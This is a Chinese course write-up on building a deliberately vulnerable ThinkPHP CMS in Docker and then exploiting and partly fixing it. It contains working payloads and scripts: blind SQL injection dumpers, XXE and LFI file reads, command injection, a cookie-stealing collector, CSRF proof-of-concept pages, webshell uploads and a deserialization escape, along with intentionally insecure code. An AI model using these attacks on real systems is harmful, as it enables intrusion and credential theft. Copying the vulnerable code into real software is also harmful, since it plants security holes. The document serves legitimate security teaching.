mycms
本文最后更新于:3 年前
网络安全与攻击实验课程作业
[TOC]
课程要求
基于 Linux 操作系统(如 Ubuntu),使用 Docker 容器,选择一门自己擅长的语言(只能从 PHP、JAVA、Python 中选择)及其当前流行的开发框架(如 Java 的 Struts2、Spring、Hibernate,Python的 Django、flask,PHP 的 ThinkPHP 等) 开发一个 Web 应用系统。
具体要求:
1)该系统需内置典型的 Web 漏洞(不少于 10 种,每种可有多个)。必须包含 SQL 注入、XSS、文件上传、文件包含、命令执行、XXE和反序列化。
2)基于 Docker 容器发布系统,并完成内置典型漏洞的攻击过程。
3)将原有漏洞页面进行完善(不能直接在原有漏洞页面修改,需重新创建修复漏洞的页面)以修复所有漏洞,并通过测试证明漏
洞已经修复。
网站开发
1.开发工具
phpstorm+vscode
phpstorm 重要用于对php代码的代码编写和修改,其提供了十分丰富的功能,帮助开发者快速修改代码,提供代码定位,能够快速的定位到某个函数所属文件,大大提高了工作效率。
而vscode则负责查看文件内容,其相对于PHP storm比较轻量,占用内存小,速度快。
2.环境搭建
Linux
使用docker以及docker-compose
具体为mysql 5.6 + nginx +php7.1
其中docker-compose.yml
version: '3'
services:
nginx:
image: hub.c.163.com/library/nginx:latest
# 下载镜像的源,这里选择网易的镜像源,可以提高下载的速度, latest是最新版本
ports:
- 80:80
# 端口映射
- 443:443
volumes:
- ./nginx/nginx.conf:/etc/nginx/nginx.conf
#nginx的配置文件路径
- ./nginx/conf.d:/etc/nginx/conf.d
# 其他的配置文件
- ./html:/var/www
#目录映射 src作为网站的根目录,网站的所有文件需要放在这里
php:
build: ./php
volumes:
- ./html:/var/www
#根目录
- ./php/php.ini:/usr/local/etc/php/php.ini
# php的配置文件
- ./php/php-fpm.conf:/usr/local/etc/php-fpm.d/www.conf
mysql:
image: hub.c.163.com/library/mysql:5.6
volumes:
- ./mysql/data:/var/lib/mysql
- ./mysql/my.cnf:/etc/mysql/conf.d/my.cnf
- ./mysql/init:/docker-entrypoint-initdb.d/
# 这里需要初始化一个数据库
ports:
- 3306:3306
environment:
- MYSQL_ROOT_PASSWORD=root
# mysql数据库的密码
其余配置文件可以根据需要从网上获取。
windows
搭建目的是测试使用,方便重新搭建和数据管理,为再linux上搭建做好准备
课程要求使用docker搭建运行环境,但是Linux系统是虚拟机搭建的,里面没有好用的phpStrom,所以先在windows上搭建,试试水。
工具使用phpstduy2018,apache+php7.1
首先在数据库中建立一个数据库,复制cms.sql中的内容在命令行中运行
将文件放入www目录下,修改config中的database.php内容,将用户名和密码该对应的内容
打开phpstduy,选择 其他菜单选项->站点域名管理,网站目录选择cms/public,网站名随便起,如www.mycms.com
打开host文件,添加
127.0.0.1 www.mycms.com
,然后访问即可www.mycms.com/admin进入后台账号密码都为admin
3.开发过程
开发thinkphp的网站,当然离不开ThinkPHP的手册http://www.shouce.ren/api/view/a/15517
thinkphp中是基于模块\控制器\方法
来访问网页的,所以我们必须学会如何创建一个控制器
在网站的文件下,调出终端使用
php think make:controller 模块名\控制器名
创建完后便可以在浏览器中输入127.0.0.1\模块名\控制器名
,进行访问,当然还要继续完善其中的内容
以上是开发最基础的部分,也是最重要的部分,所有的漏洞代码基本都需要在自己所创建的控制器中完成的。
4.网站介绍
此站点采用的是基于thinkPHP的cms,此cms包含常用于一些公司主页介绍或者个人博客的搭建,是一个功能相对比较齐全的cms,但是随着功能的增多也会暴露出一些问题,所以会存在一些漏洞,加上自己根据课程要求对其进行了魔改,使得该系统包含了十二种漏洞,二十个漏洞点。
该网站是一家安全公司的主页,但是由于该安全公司刚刚成立不久,网站开发人员安全意识不够高(haha, 纯属虚构),导致该网站中存在了很多漏洞,此时一个不安好心的黑客看上了这家安全公司的网站。对该网站进行了攻击。
具体功能如下:
(1).前台展示页面,包含关于我们,新闻中心,联系我们以及意见反馈四个模块
其中关于我们–>公司主页 位置存在SSRF漏洞
意见反馈 存在XXE漏洞
(2).后台管理员页面,后台管理功能十分丰富,几乎包含所有需要的功能,并且可以根据需要自定义模块并安装,其中的短消息发送存在XSS漏洞,查看内网主机和phpinfo存在远程命令执行漏洞,管理会员的页面存在CSRF漏洞
(3).用户注册与登录,提供用户注册和登录功能,登录后的用户可以根据权限向不同的栏目投稿,向别的用户发送消息,支持头像更换,密码修改等功能。其中投稿位置存在XSS漏洞和文件上传漏洞,密码修改位置存在SQL注入漏洞。
(4).在前台页面中有一个单独的模块,叫免试加入,这里存在一个CTF题目,类型时unserialize,如果可以获取flag,则可以获取免试资格加入团队。
5.漏洞介绍
本地文件包含
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞,造成这个漏洞的函数有四个
include,include_once,require,require_once
。该漏洞可以使用php为协议php://filter,读取php文件的源码,在一些ctf题目中很常见。该漏洞存在于网站首页的联系我们页面
ssrf
服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,攻击者可以利用该漏洞对内网进行扫描探测存活的主机和端口,进而对内网进行攻击。此外该漏洞还会造成文件包含,使用file://协议+文件绝对路径可以获取服务器上的文件。
总结SSRF造成的危害:
扫内网
向内部任意主机的任意端口发送精心构造的Payload
DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sqli等)
利用file协议读取本地文件等
此漏洞存在访问公司主页
xxe
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是XML外部实体。
此漏洞可以形成命令执行和文件包含攻击。
此漏洞存在于意见反馈页面
sql注入 — 包含两个漏洞点
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
此漏洞存在与用户修改密码页面和登录修改稿件页面,二者都可以使用盲注进行攻击。
文件上传
网站WEB应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件甚至是可执行文件后门。
此漏洞存在于用户上传头像的位置,上传一句话木马后可直接使用蚁剑获取shell
弱口令
弱口令顾名思义是使用了安全性比较低,并且比较常见的短字符作为密码
此漏洞存在于管理员密码,这是很常见但又很危险的一个漏洞
xss — 包含两个漏洞点
xss就是攻击者在web页面插入恶意的Script代码,当用户浏览该页之时,嵌入其中web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。攻击这可以使用xss获取处于登录状态的用户cookie,从而可以无密码登录账号。
此漏洞存在两个地方,一个是用户投稿,一个用户发送短消息
rce
是指用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
此漏洞存在于后台管理页面中的信息采集–>查看内网主机
任意文件下载
非法下载服务器上存在的资源
csrf
跨站点请求伪造 , 跟XSS攻击一样,存在巨大的危害性 。利用csrf,攻击者可以盗用你的身份,以你的名义发送恶意请求。 你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
反序列化
不安全的反序列化是指网站对用户可控制的数据进行反序列化时,攻击者能够操纵序列化的对象,以将有害数据传递到应用程序代码中。甚至有可能用完全不同类的对象替换序列化的对象。更夸张的是,将对网站可用的任何类别的对象进行反序列化和实例化,而与预期的类别无关。因此,不安全的反序列化有时称为“对象注入”漏洞
此漏洞存在免试加入我们的页面,成功者可以获得一个flag。
漏洞利用
渗透测试流程
1.RFI
首先点击首页的最下面“优秀员工”,可以发现URL的变化,看到最后有一个file参数,猜测该页面的一些参数是从info.php
中获取的,那么这个位置就应该是一个本地文件包含。尝试将info.php换成其他的文件名,发现页面中的一些内容消失了,说明这里就是用了文件包含。
那么如果没有对该参数进行过滤或者其他的限制的话,我们就可以使用php://filter
协议读取到php文件的base64源码,
或者直接读取操作系统中的一些敏感文件,如/etc/passwd
。
可以看到,这里没有对file协议过滤,这样就可以通过一些常用的文件路径获取到敏感文件
2.XXE
注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。
xxe漏洞存在于意见反馈页面,使用Bp抓包可以看到,提交的参数是xml格式,提交成功后会返回一个提示信息
既然参数是以xml格式提交的,那么我们可以尝试构造出一个外部实体注入其中,造成文件包含或者命令执行。
使用payload读取/etc/passwd
文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user><username>&file;</username><info>as</info></user>
3.SSRF
当访问公司主页这个页面时会发现url发生变化,并跳转到另一页面
这里是跳转到了我的博客页面,但是可能由于缺少渲染,显示不正常,尝试访问百度,get提交
?url=https://www.baidu.com
可以发现成功跳转到了百度的页面,猜测我们提交的url参数没有进行过滤就直接带入到函数中执行。
那么我们可以尝试使用file://
协议读取服务器上的文件,使用payload:?url=file:///etc/passwd
,成功读取到文件内容,漏洞利用成功。
4.目录遍历
在浏览器中按F12,在network中查看响应头,可以发现存在server字段,这是网站使用的服务器以及版本信息,这里可以看到是nginx
而nginx存在一个很常见的漏洞—配置不当导致的目录穿越漏洞
进行攻击
尝试访问http://192.168.164.147/files/
,出现了images
文件夹,这应该网站保存上传图片的位置
输入http://192.168.164.147/files../
看到了网站的根目录中的内容,点击可以将部分文件下载。
5.SQL注入(4个)
漏洞点一
第一个sql注入漏洞点在用户登录页面,存在一个修改密码功能,先注册有一个用户,尝试修改密码,猜测其工作机制。
第一次尝试输入一个不存在的用户名,返回信息是no user!
第二次输入正确的用户名错误的密码,提示wrong password!
,这个逻辑很正常
第三次输入正确的用户名和密码,而两个不一样的新密码,提示new password are different!
这上面的三种情况是修改密码时常见的情况,看似都可以正常的工作,但是如果没有对用户名这个参数进行严格的过滤的话就可以造成盲注的漏洞。
因为当我们提交完参数后,服务器要做的第一件事就是去数据库种查找是否存在该用户名,若不存在则返回no user!
,若存在的话且输入的两次新密码都正确但是旧密码错误,就会提示用户wrong password!
,这也是造成盲注的重要原因。比如说,我们注册的用户名和密码分别为szy
和admin
,但是我们提交时构造出如下的语句
account=szy' and 1=1#&password=ad&npassword=111&newpassword=111
account=szy' and 1=2#&password=ad&npassword=111&newpassword=111
看到以上的结果我们就可以判断一定存在注入。
构造payload
account=szy' and ascii(substring(database(),1,1))>100 #&password=ad&npassword=111&newpassword=111
返回的是wrong password
,说明数据库名的第一个字符的ascii码是大于100的,直接使用二分注入,脚本如下
import requests
import time
url = "http://192.168.164.147:81/change/changepass"
heard = {"Cookie":"http://192.168.164.147:81/change/changepass"}
flag = ""
for i in range(1,50):
left = 32
right = 128
mid = (right + left) >> 1
while(left < right):
# time.sleep(1)
payload = "szy' and ascii(substring(database(),{0},1))>{1} #".format(i,mid)
payload = "szy' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a>{1})#".format(i,mid)
payload = "szy' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='yzn_admin' having a>{1})#".format(i,mid)
payload = "szy' and (select ascii(substring(group_concat(password),{0},1)) as a from yzn_admin having a>{1})#".format(i,mid)
data = {"account":payload, "password":"111a","npassword":"222","newpassword":"222"}
response = requests.post(url=url,data=data,headers=heard)
# t = response.text
if "wrong password" in response.text:
left = mid+1
else:
right = mid
mid=(right+left)>>1
flag = flag + chr(mid)
print(flag)
print(flag)
```
database:yzncms
table:yzn_admin
columns:id,username,password,roleid,encrypt
```
yzn_admin的列名,省略了后面的列
获取管理员的用户名和密码
username:admin
password:9724b5e6c56b95f5723009ef81961bfe
这个密码是32位的,可能是md5处理后保存的,暂时无法破解。
漏洞点二
用户登录后,存在一个查找用户邮箱的功能,这里可能存在注入。
这里已经提示了存在了过滤,那么就看看过滤那些东西
输入一个存在的用户名,查找结果如图
输入一个不存在的用户
尝试输入
sunzy' or 1=1 #
网页报错,并将错误信息显示,可以看到输入的or,空格都被换成了空格,这还是很容易绕过的
fuzz测试后,发现过滤union,空格,or,and,select,from
,可以使用双写绕过,空格的可以使用/**/
替换
经过测试,发现返回结果只有一列
直接进行sql注入
获取数据库中的表名
sunda'/**/ununionion/**/selselectect/**/group_concat(table_name)/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema=database()#
获取字段名
sunda'/**/ununionion/**/selselectect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name="yzn_member"#
获取字段值
sunda'/**/ununionion/**/selselectect/**/group_concat(passwoorrd)/**/frfromom/**/yzn_member#
漏洞点三
用户主页->积分赠送,通过测试可以发现也是存在sql注入的
因为没有回显,需要使用盲注
盲注脚本与上面的类似,稍加修改即可。
漏洞点四
注册后登录,发现其中存在一个投稿的功能,投稿后需要管理员审核,在此期间我们可以再次编辑我们的稿件
当点击编辑后,发现url上多了一个id参数,这应该是我们稿件的id,方便查询。但是通常这种参数如果过滤不严格的话也会存在SQL注入,而这个位置显然输入数字型注入。
http://192.168.164.147:81/member/content/edit.html?id=3
探测是否 存在注入,当输入?id=3 and 1=1 #
时页面返回正常,但是当输入?id=3 and 1=2#
,却提示了稿件不存在,说明这里也是存在注入的,但是没有回显,无法获取返回的内容只能采用盲注的方法。
==在测试的过程种发现这个位置使用 >
时会出现错误提示,而<
不起作用,只能使用=
,所以无法使用二分注入,但是直接暴力破解也很快==
# -*- coding = utf - 8 -*-
#@Time : 2021/3/20 9:03
#@Author : sunzy
#@File : cms_sql2.py
import requests
import time
url = "http://192.168.164.147:81/member/content/edit.html?id="
header = {"Cookie": "thinkphp_show_page_trace=0|0; PHPSESSID=d2b4f4b001d70e670953a36d00ca8be6; thinkphp_show_page_trace=0|0"}
flag = ""
words = [",","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","_","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","0","1","2","3","4","5","6","7","8","9"]
def dump():
flag = ''
for i in range(1,50):
for word in words:
# payload = "3 and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a = {1})#".format(i,ord(word))
payload = "3 and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='yzn_admin' having a={1})#".format(i,ord(word))
payload = "3 and (select ascii(substring(group_concat(password),{0},1)) as a from yzn_admin having a={1})#".format(i,ord(word))
url1 = url+payload
res = requests.get(url1,headers=header)
if "立即提交" in res.text:
flag += word
break
print(flag)
if __name__ == '__main__':
dump()
成功获取到数据库名,漏洞利用成功。
6.暴力破解
该漏洞是由于管理员或者用户使用了常用的简单密码,攻击者可以通过暴力破解的方式获取用户名和密码,前面的sql注入我们可以知道管理员账号为admin,但是密码为加盐后的md5值,我们无法破解,只能尝试使用暴力破解。
在文件上传漏洞点一中我们发现了admin模块就在路径为\application\admin
,所以管理员后台url应该为http://192.168.164.147/admin
当然这里也可以根据经验猜测后台登录路径。
访问后台
查看源码可以发现,登录是需要token的,但是还是可以使用bp自带的模块破解,不过需要麻烦一点。
使用bp抓包,将数据包发送到
Intruder
模块,然后加上参数,选择Pitchfork
模式到option页面,不可以多线程
设置payload1,也就是token值
设置payload2 password的值,这里可以选择自己收藏的密码字典,或者直接使用bp自带的。
爆破结果
当密码为admin时,可以看到相应包中返回的数据存在一个url,很明显这里是,登录成功后进行的跳转,可以在浏览器中看到,已经登录到了后台页面
结合前面sql注入获取的密码和encrypt,尝试猜测密码的保存方式
md5('adminWo0bAa') = 9724b5e6c56b95f5723009ef81961bfe
所以密码保存的是密码和加密因子拼接后的md5值。
7.文件上传(3个)
漏洞点一
用户登录后可以看到一个图片征集页面http://192.168.164.147/member/index/photo
随便上传一个图片文件后,可以看到返回了图片的保存地址
但是当上传一个非图片类型时,会提示只允许上传.jpg|.png|.gif
这只是前端检测,抓包就可以解决
抓包上传一个php为后缀的文件,并将MIME改为image/jpeg
,可以看到php后缀被换成空了
尝试双写绕过,可以看到文件已经正常上传
访问可以看到phpinfo
下面就是上传一句话木马,控制服务器
漏洞点二
用户登录后可以在内容管理—>在线投稿的位置投稿,这里用户可以上传稿件中需要用到图片
但是攻击者可能会上传一些刻意文件,比如一句话木马,来攻击服务器,下面我们上传一个php文件获取phpinfo
首先选择一张空的照片,然后将其改为php文件,内容为<? phpinfo(); ?>
,可以看到上传成功的url
访问服务器返回的url,已经看到该网站的phpinfo信息,也就是确定了该上传目录拥有可执行权限,下一步就是上传一句话木马进一步控制该服务器。
上传一句话木马
使用蚁剑连接即可。
漏洞点三
在上一步中我们已经知道了admin的账号密码,然后登录。再用自己注册的账号向某个栏目投稿,之后管理员再审核,便会出现一个类似于用户投稿的页面,然后就可以像上一个漏洞一样上传一句话木马文件。
8.XSS(2个)
漏洞点一
登录管理员账号后可以发送短消息给用户
在之前的sql注入漏洞里,我们可以获取yzn_member
表中的所有信息,虽然可以获取密码,但是因为是md5值,并且是加盐后的md5值,破解的难度很高,所以可以使用获取cookie的方式攻击。
从中可以看到用户登录的时间,从而可以判断该用户是否在线,我们选择那些在线的用户,获取其浏览器的cookie,这样就可以做到密码登录其账号。
尝试向用户szy
发送带有恶意脚本的短消息,内容如下
发送完后,浏览器弹出xss
,并且每次刷新都会出现弹窗,说明是存储型XSS。
当用户点开收件箱时,浏览器也会出现弹窗,说明漏洞利用成
==尝试获取用户cookie(失败)==
首先在服务器上写一个获取cookie的脚本,内容如下,就是获取cookie参数,然后将其写入cookie.txt中,并记录写入的时间。
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
然后向用户发送带有恶意脚本的消息,192.168.164.1
为服务器的ip地址,这里就使用了自己的本机地址,而在现实的渗透测试中是需要选择能够与公网通信的服务器或者vps。
当用户点开收件箱后,这个脚本就会自动执行,就可以将cookie写入到服务器上的cookie.txt。
查看cookie.txt 获取的cookie
但是可以发现这里的cookie好像并不完整,看了一下原来是PHPsession值那里设置了http-only,而http-only就是防止通过js脚本读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容。
漏洞点二
登录后的用户可以在留言板进行留言,留言后会显示近期的留言信息
url http://192.168.164.147/member/index/comment.html
在留言中插入恶意脚本,此时数据会被提交到服务器处理,并写入数据库,显示近期的留言,此时恶意脚本被执行,造成了XSS漏洞
可以看大恶意脚本被浏览器执行,嵌入到html页面中
9.RCE(2个)
漏洞点一
后台管理中存在一个采集模块,其中存在于一个“phpinfo”,点击即可查看到phpinfo信息
这里看似没有提交参数位置,让人觉得无从下手,在前端查看源码即可发现,是将输入框隐藏了,才无法看见,输入的内容。
抓包就可以发现端倪,可以看到这里存在一个post方式提交了一个data参数
提交的内容为
data=phpinfo()
然后就返回了php的各项信息,应该是执行了phpinfo这个函数,那么可能就是用到了eval()函数,尝试输入
data=system('ls /')
利用成功。
漏洞点二
后台管理中存在一个采集模块,其中存在于一个“查看内网主机”,可以查看内网中的主机是否在线。查看一个主机是否在线最常用的方法就是使用ping
命令,还要结合php中的shell_exec()
函数。
尝试使用管道符拼接命令,造成命令执行。
payload:
127.0.0.1 | ls /
可以看到列出了根目录的文件夹,说明命令执行成功。
10.CSRF(4个)
漏洞点一
用户主页面–>积分赠送
输入用户名和要赠送积分的数量即可赠送自己的积分
当我们通过查找用户邮箱功能获取到某个用户的邮箱时,就可以构造出一个类似于下图的网页,生成链接后通过邮箱发给受害者然后诱使其点击链接,就能神不知鬼不觉的将其积分转到自己的账号下
漏洞点二
后台管理中,存在会员管理模块–>点击编辑,在这里管理员可以改变会员的等级,积分和密码等。然而如果攻击者获取了更改用户等级的表单就可以精心构造出一个网页(burp可以一键生成),这个网页的功能可以将会员修改为攻击者想要的等级,或者是添加管理员。此时如果管理员不小心点击了这个链接,浏览器带着管理员登录时的cookie
访问了该链接,那么服务器就认为修改会员等级的操作是管理员本人,执行该操作,从而造成攻击。
使用bp抓取该表单
username=szy&nickname=szy&mobile=17856276754&email=263233%40qq.com&password=&groupid=2&point=0&vip=0&overduedate=1970-01-01+08%3A00%3A00&id=1
提交的数据中可以修改groupid, point, vip
使用bp一键生成攻击网页
生成的内容为
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.164.147/member/member/edit.html?id=1&dialog=1" method="POST">
<input type="hidden" name="username" value="szy" />
<input type="hidden" name="nickname" value="szy" />
<input type="hidden" name="mobile" value="17856276754" />
<input type="hidden" name="email" value="263233@qq.com" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="groupid" value="5" />
<input type="hidden" name="point" value="1000" />
<input type="hidden" name="vip" value="1" />
<input type="hidden" name="overduedate" value="1970-01-01 08:00:00" />
<input type="hidden" name="id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
复制上面的链接,使用社工的方法发送给admin,如果他在处于登录状态时点击那么攻击就成功了。
点击Submit request
,就会出现更新成功的提示。查看szy
,确认其等级变化
可以看到该用户的等级已经变成了高级会员,并且积分点数也变成了1000,漏洞利用成功。
漏洞点三
同样是在这个页面,有一个”添加”页面,同样也是存在CSRF漏洞,如果被攻击者利用,则可以创造出大量的无用账号,从而浪费服务器的资源,可能造成dos攻击。
漏洞点四
内容->稿件管理->通过审核,这里会显示所有用户提交的稿件,但是如果攻击者提交了一个含有恶意代码的稿件,又想在admin不知情的情况下让这个稿件通过审核,此时就可以创建一个恶意链接发送给admin,
内容如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.164.147/cms/publish/pass.html" method="POST">
<input type="hidden" name="ids[]" value="4" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
当admin点击后,就会让稿件通过审核
11.任意文件下载
首页中存在一个图片下载模块,可以下载自己喜欢的球星壁纸
但是我们可以拦截请求,修改提交的数据
尝试下载/etc/passwd
文件,输入
filename=/etc/passwd
但是出现提示文件不存在!
尝试多输入几个../
filename=../../../../../etc/passwd
成功获取到/etc/passwd
文件内容
那么就可以结合RCE漏洞,获取到该服务器上的任意文件
首先利用RCE漏洞获取到文件的完整路径,之后配合该漏洞即可实现任意文件下载。
12.unserialize
该漏洞就是一个CTF题目,但是源码需要利用前面的漏洞获取
链接:http://192.168.164.147/ctf/index
根据提示是一个ctf题目,那么应该也符合一般ctf中web题目的套路。
首先查看源码 ,获取提示
但是一般的反序列化漏洞的题目都是有源码的,只有根据源码才能写出EXP。
既然没有源码,我们就需要使用之前发现的漏洞获取源码。
有五种获取源码的方法
文件上传
上传一句话木马后,可以控制服务器,可以直接到网站根目录中下载文件
LFI
使用
php://filter
,在文件包含漏洞的位置获取base64源码payload:
http://192.168.164.147:81/contact/index?file=php://filter/convert.base64-encode/resource=unserialize.php
XXE
利用文件上传获取的路劲
payload
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///var/www/public/unserialize.php"> ]> <user><username>&f;</username><info>das</info></user>
任意文件下载
点击即可下载到文件
RCE
首先 列出目录
127.0.0.0 | ls
读取文件
127.0.0.0 | cat unserialize.php
源码如下
<?php error_reporting(0); class a { public $uname; public $password; public function __construct($uname,$password) { $this->uname=$uname; $this->password=$password; } public function __wakeup() { if($this->password==='easy') { echo "<script>alert('flag{xxxxxx}')</script>"; } else { echo "<script>alert('继续加油')</script>"; } } } function filter($string){ return str_replace('challenge','easychallenge',$string); } $uname=$_POST['payload']; $password=1; $ser=filter(serialize(new a($uname,$password))); $test=unserialize($ser); ?>
开始解题
考察点是反序列化字符逃逸
先从简单的PHP反序列化字符逃逸了解什么是反序化逃逸。
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>
利用反序列化逃逸修改pass的值。
正常的序列化结果
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
s:4:"aaaa"
s后面的数字表示变量的长度,php执行的时候会根据其长度读取数据,如果不符合规则则会反序列化失败。
例如
O:1:"A":2:{s:4:"name";s:5:"aaaa";s:4:"pass";s:6:"123456";}
将4改为5,那么则认为name的值为 aaaa"
,此时因为前面的”无法闭合而导致反序列化失败。
而上面的程序中存在一个替换函数,只要name中存在bb则将其替换为ccc,导致name字段的长度会增加1,我们将逃逸的字符串的长度填充成我们要反序列化的代码的话那就可以控制反序列化的结果以及类里面的变量值了。那么就可以利用这个函数来构造出想要的序列化字符串。
例如想将pass变量的序列化字符串如下
";s:4:"pass";s:6:"hacker";}
其中 前面的 “;是为了闭合的变量的”,保证语法正确,}的作用是序列化字符串结束的标志
上面的字符串长度为27,所以就需要27个bb来产生27个字符长度的逃逸
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}';
public $pass='123456';
}
$AA=new A();
var_dump(serialize($AA));
$res=filter(serialize($AA));
var_dump($res);
$c=unserialize($res);
echo $c->pass;
//echo unserialize($AA);
//";s:4:"pass";s:6:"hacker";}
?>
//结果如下 ||为对齐
/*
string(136) "O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}"||
string(163) "O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}"||;s:4:"pass";s:6:"123456";}"
hacker
*/
这里pass的值就被该称了hacker
总结:逃逸或者说被“顶”出来的payload就会被当做当前类的属性被执行。
而针对这道题,代码的意思大致为,POST提交一个uanme,password默认为1,之后生成一个序列化字符串并将字符串中的challenge换成easychallenge,字符长度增加4,当密码为easy时,得到flag。这题看上去与上面的例子差不多,但是构造的时候发现并不是
需要构造的属性
len(";s:4:"password";s:4:"easy";}) =29
可以发现上面的字符串长度为29,而每替换一个challenge只能逃逸出4个字符,不能构造出29,因此这里需要再构造出一个属性,使上面的字符串的长度为4的倍数。
";s:8:"password";s:4:"easy";s:4:"aaaa";s:1:"a";}
上面构造出的payload长度为48因此还需要12个challenge。
exp如下
<?php
class a
{
public $uname='challengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";s:4:"aaaa";s:1:"a";}';
public $password="1";
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$ser=filter(serialize(new a($uname,$password)));
echo($ser);
?>
输出的结果:
O:1:"a":2:{s:5:"uname";s:156:"easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";s:4:"aaaa";s:1:"a";}";s:8:"password";s:1:"1";}
//easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge 长度为156
finalpayload:
challengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";s:4:"aaaa";s:1:"a";}
提交payload,获取flag
漏洞修复
1.RFI
代码分析
代码位置application\employee\controller\Index.php
public function index()
{
$file = @$_GET['file'];
if (!isset($file) || $file == '') {
$file = 'info.php';
}
include "$file";
$info = [];
$info = $info_1;
return $this->fetch('index', ['info' => $info]);
return view();
}
这个代码很简单,就是包含了info.php
文件按,并获取其中的$info参数,然后发送给前端,然后在前端显示内容。但是也很危险,因为有include函数的存在,所以存在RFI,而且对提交的参数没有任何的检查和过滤,很容易被攻击者利用
漏洞防御
方法一
修改php.ini文件,在其中添加
allow_url_open = off allow_url_include = off
构成RFI漏洞的条件十分苛刻,只有php.ini中上面两个配置项都没off才能利用该漏洞。
方法二
在代码中限制提交上的文件名,因为只需要包含
about.php
,所以检查提交上$file
是否为about.php
$file = @$_GET['file']; if (!isset($file) || $file == '') { $file = 'info.php'; } if($file !== "info.php"){ return $this->error("文件名错误!") } include "$file";
2.XXE
代码分析
代码位置application\advice\controller\Index.php
public function index()
{
$result = null;
$code = 0;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if($xmlfile !== ""){
$dom = new DOMDocument();
// var_dump($dom);
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$info = $creds->info;
$conn = new mysqli("localhost", "root", "root", "yzncms");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$sql = "INSERT INTO yzn_new (name, info) values('$username','$info')";
if($conn->query($sql)){
$code = 1;
echo "<script>alert('提交成功!')</script>";
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}
前端代码
var data = "<user><username>" + username + "</username><info>" + info + "</info></user>";
$.ajax({
type: "POST",
url: "/advice/index",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
if(code === "0"){
$(".msg").text('submit' + "fail!");
}else {
$(".msg").text('submit' + "success!");
}
},
});
